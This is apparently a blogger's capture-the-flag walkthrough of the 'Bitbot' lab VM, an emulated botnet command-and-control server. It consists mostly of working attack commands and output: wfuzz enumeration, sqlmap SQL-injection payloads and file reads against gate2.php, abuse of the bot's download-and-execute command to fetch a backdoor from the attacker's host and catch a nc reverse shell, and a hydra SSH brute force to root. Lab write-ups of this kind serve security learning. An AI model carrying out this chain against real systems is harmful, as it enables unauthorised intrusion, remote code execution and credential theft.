Another botnet c2, by the same author as Dexter. First scan shows http, so that’s where I started.
Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-18 16:16 EDT Nmap scan report for 192.168.56.101 Host is up (0.0010s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 16.97 seconds
Hiiting http://192.168.56.101/ with a browser there is a message directing you to /bot/bot.py. That’s my first target, but how do I get there? Browsing to http://192.168.56.101/bot/bot.py gets a 403 access denied. There is no robots.txt. Brute force?
$ ./wfuzz.py -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 http://192.168.56.101/FUZZ > today.txt && cat today.txt ******************************************************** * Wfuzz 2.1.3 - The Web Bruteforcer * ******************************************************** Target: http://192.168.56.101/FUZZ Total requests: 5172 ================================================================== ID Response Lines Word Chars Request ================================================================== 00000: C=200 0 L 5 W 52 Ch "index.php" 00012: C=200 5 L 4 W 37 Ch "footer.php" 00020: C=200 0 L 0 W 0 Ch "config.php" 00021: C=200 53 L 166 W 1810 Ch "header.php" 00030: C=200 57 L 167 W 1769 Ch "admin.php" 00037: C=200 0 L 8 W 51 Ch "functions.php" 00115: C=200 57 L 167 W 1769 Ch "commands.php" 00190: C=200 0 L 0 W 0 Ch "submit.php" 01058: C=200 57 L 167 W 1769 Ch "stats.php" 04613: C=200 57 L 167 W 1769 Ch "bots.php" Total time: 8.168884 Processed Requests: 5172 Filtered Requests: 5162 Requests/sec.: 633.1341
admin.php? don’t mind if I do. Start Burp to keep track, and dive into admin.php. Just a login.
A quick run with sqlmap has no results.
$ ./sqlmap.py -u "http://192.168.56.101/admin.php" --data="login=1&username=&password=“
Fairly lost again, I start reading my cheatsheets. Turns out there’s sqli on gate2.php. It accepts a parameter ‘hwid’ that is injectable. Here is a default request for that page with all the parameters, per the author’s discussion.
http://evilc2.openbwall.com/panel/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info
This is really easy to turn into a functional injection with sqlmap.
$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" sqlmap identified the following injection point(s) with a total of 19156 HTTP(s) requests: --- Parameter: hwid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: windows=Windows&country=US&hwid=101' AND 4125=4125 AND 'izYQ'='izYQ&connection=0&version=100&btc=all&sysinfo=Some Info Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: windows=Windows&country=US&hwid=101' AND SLEEP(5) AND 'nBhj'='nBhj&connection=0&version=100&btc=all&sysinfo=Some Info Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: windows=Windows&country=US&hwid=-2982' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b7a6271,0x546d706e594d6c6e44686242444d616d624c4a636a6d4b68555641675276505a7a5243684b70795a,0x71626a7a71),NULL,NULL,NULL-- VFky&connection=0&version=100&btc=all&sysinfo=Some Info --- [15:20:36] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7.0 (wheezy) web application technology: Apache 2.2.22, PHP 5.4.4 back-end DBMS: MySQL >= 5.0.12 [15:20:36] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’
I have access now as whatever the app runs, so what more info can I retrieve? At the very least a login to the control panel at admin.php.
./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --current-user --current-db [15:35:21] [INFO] fetching current user current user: 'root@localhost' [15:35:21] [INFO] fetching current database current database: 'bitbot' ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --users --tables Database: bitbot [2 tables] +----------------------------------------------+ | bots | | mining_configs | +———————————————————————+
Well, maybe. There doesn’t seem to be a users table or anything like that. Root in the db is not the same as logging into the application. I need a valid login to the c2. More cheatsheets, this time just the sqlmap documentation is enough.
sqlmap has a read local file option?!
$ ./sqlmap.py -u "http://192.168.56.101/gate2.php?windows=Windows&country=US&hwid=101&connection=0&version=100&btc=all&sysinfo=Some+Info" --method=GET -p hwid --dbms=mysql --file-read=/var/www/admin.php [15:58:57] [INFO] fetching file: '/var/www/admin.php' do you want confirmation that the remote file '/var/www/admin.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] y [15:59:03] [INFO] the local file '/Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php' and the remote file '/var/www/admin.php' have the same size (9406 B) files saved to [1]: [*] /Users/warrenkopp/.sqlmap/output/192.168.56.101/files/_var_www_admin.php (same file) [15:59:03] [INFO] fetched data logged to text files under '/Users/warrenkopp/.sqlmap/output/192.168.56.101’
repeat for config.php
Now I have login to the web application, next goal: interactive login to the server. There should be somewhere to inject code, execute commands, or something to get me in business. Well, there’s a command interface on the control panel. one of which executes a file from a url. That’s easy enough to manipulate.
It is easy enough to setup a local http server with python on port 8000, serving just my backdoor file, test.php
$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 192.168.56.101 - - [19/Aug/2016 16:30:37] "GET /test.php HTTP/1.1" 200 -
Then tell control panel to hit that file. The bot will execute, sending shell to waiting nc on attacker machine.
DOWN http://192.168.56.1:8000/test.php
in turn gets us interactive shell as low privileged user.
$ nc -lvp 4444 Connection from 192.168.56.101:39665 /bin/sh: 0: can't access tty; job control turned off $ whoami botter $ pwd /
As an unprivileged user, next step is find the opportunity to elevate that privilege, and finish the game. First things first though, let me see what that bot file says.
$ cat /var/www/bot/bot.py # -*- coding: utf-8 *-* import httplib import urllib import threading import time import hashlib import os # Emulated bitbot by bwall (Brian Wallace @botnet_hunter) class Bot(): def __init__(self, version, country, windows, hwid, sysinfo, btc): self.version = version self.country = country self.windows = windows self.hwid = hwid self.sysinfo = sysinfo self.btc = btc self.connection = 0 self.removed = False def down(self, url): '''Download and execute binary''' m = hashlib.md5() m.update(url) filename = m.hexdigest() urllib.urlretrieve(url, "/var/www/bot/" + filename) os.system("python /var/www/bot/" + filename) def connect(self, logger): if self.connection == 0: logger("Bot %(hwid)s has started" % {'hwid': self.hwid}) if self.removed: return #connect to the C2 try: conn = httplib.HTTPConnection("127.0.0.1", timeout=5) params = urllib.urlencode({"version": self.version, "country": self.country, "windows": self.windows, "hwid": self.hwid, "sysinfo": self.sysinfo, "btc": self.btc, "connection": self.connection}) conn.request("GET", "/gate2.php?" + params) response = conn.getresponse() data = response.read() if data != "": # Parse the data a bit data = data.replace('<\\\\\\>', '') if data == "REMOVE": self.removed = True logger("Bot %(hwid)s has uninstalled itself" % { 'hwid': self.hwid}) if data.startswith("UPDATE "): # Remove self and do the same process as DOWN self.removed = True self.down(data[7:]) if data.startswith("DOWN "): self.down(data[5:]) self.connection = 1 except: logger("Bot %(hwid)s has timed out when connecting to the C2" % { 'hwid': self.hwid}) raise def Logger(message): print message bot = Bot("1c", "US", "Linux", "101", "8 6970", "all the btcs") while True: bot.connect(Logger) for i in range(0, 30): time.sleep(1)
I don’t see anything that gives me any leverage I don’t already have. Moving along, there’s this in the /home/botter directory:
$ ls /home botter $ ls /home/botter gen.sh $ cat /home/botter/gen.sh ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' | passwd $ ./home/botter/gen.sh /bin/sh: 8: ./home/botter/gen.sh: Permission denied
So what does this do?
* read config of eth0
* find the inet Line
* drop the ipv6 Info
* print the second field(ip4 address) + a random number between 0 and 1 + …awk docs say substr takes to extract from a given string. I’m not following how this works. Time to test.
$ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 08:00:27:bc:c2:b3 inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:336 errors:0 dropped:0 overruns:0 frame:0 TX packets:259 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:46157 (45.0 KiB) TX bytes:39287 (38.3 KiB) Interrupt:10 Base address:0xd000 $ ifconfig eth0 | grep inet inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:febc:c2b3/64 Scope:Link $ ifconfig eth0 | grep inet | grep -v inet6 inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0
Running that a few dozen times shows me it’s only incrementing the last two digits between 0-99
$ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.64 addr:192.168.56.1010.64 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.91 addr:192.168.56.1010.91 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.91 addr:192.168.56.1010.91 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.04 addr:192.168.56.1010.04 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.17 addr:192.168.56.1010.17 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.17 addr:192.168.56.1010.17 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.30 addr:192.168.56.1010.30 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.43 addr:192.168.56.1010.43 $ ifconfig eth0 | grep inet | grep -v inet6 | awk '{print $2substr(rand(),0,5);}' | awk '{print $0"\n"$0}' addr:192.168.56.1010.43 addr:192.168.56.1010.43
Hijack barrabas‘ quicky python one-liner to dump a file full of these,
$ python -c 'for i in range(100): print "addr:192.168.56.1010."+str(i)' > hydrapw_bitbot.txt
Finally, use hydra to brute the ssh login.
…
except hydra needs a bunch of stuff that’s not on OS X by default. That’ll probably get it’s own article at some point, because it took me a good bit of googling and trials to get it running against ssh. Anyhow, in, and root.
$ hydra -l root -P hydrapw_bitbot.txt 192.168.56.101 ssh Hydra v8.4-dev (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2016-08-19 22:13:06 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 64 tasks, 100 login tries (l:1/p:100), ~0 tries per task [DATA] attacking service ssh on port 22 [22][ssh] host: 192.168.56.101 login: root password: addr:192.168.56.1010.94 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2016-08-19 22:13:35
$ ssh root@192.168.56.101 root@192.168.56.101's password: Linux Bitbot 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@Bitbot:~# whoami root root@Bitbot:~# id uid=0(root) gid=0(root) groups=0(root)